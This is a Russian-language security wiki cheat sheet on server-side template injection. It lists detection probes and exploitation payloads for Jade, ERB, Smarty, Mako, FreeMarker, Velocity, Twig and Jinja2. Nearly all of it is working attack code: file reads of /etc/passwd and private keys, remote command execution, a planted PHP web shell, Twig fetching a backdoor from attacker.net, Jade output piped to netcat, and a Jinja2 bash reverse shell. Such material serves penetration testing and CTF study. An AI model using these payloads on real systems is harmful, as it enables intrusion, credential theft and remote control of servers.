TemplateInj
Материал из InformationSecurity WIKI
Содержание
Обнаружение уязвимости
Определение обработчика шаблонов
Jade
= 7*7
Ruby/ERB
<%= 7 * 7 %>
Эксплуатация
Ruby/ERB
Название класса
<%= self.class.name %>
Методы класса
<%= self.methods %>
Параметры метода
<%= self.method(:handle_POST).parameters %>
Список переменных
<%= self.instance_variables %>
<%=@server.instance_variables %>
Приватный ключ
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>
Обьект сессии
<%= session.class.name %>
Чтение файлов
<%= File.open('/etc/passwd').read %>
Smarty Engine
Вызов переменной
{user.name}
${username}
RCE
{php}echo `id`;{/php}
Запись в файл
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Mako
Используется в Python.
RCE
<%
import os
x=os.popen('id').read()
%>
${x}
<% x=__import__('os').popen('id').read() %> ${x}
FreeMarker
Используется в Java
RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity
Используется в Java и C#
RCE
Blind
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
Viewed
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Twig
Используется в PHP
RCE
allow_url_include
С включенным allow_url_include (проверить можно в phpinfo() ).
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Other
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Вызов уязвимого метода
Sandbox
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
Jade
RCE
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
Jinja2
Используется в Flask и Django
Config
{{config}}
Все переменные конфига
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Все используемые классы
{{ ''.__class__.__mro__[2].__subclasses__() }}
Local File Reading
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
Запись в файл
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}
Local File Inclusion
{{config.from_pyfile('/tmp/mytest1337.py')}}
RCE
Запись в файл + Local File Inclusion == RCE!
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mytest1337.py').read()}}-{{config.from_pyfile('/tmp/mytest1337.py')}}
Backconnect
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
Примеры
"Golem is stupid!", Web 41pts, ASIS CTF 2017
BsidesSF CTF 2017 web writeups
Angstrom CTF 2018 — web challenges
Ссылки
tplmap - утилита для эксплуатации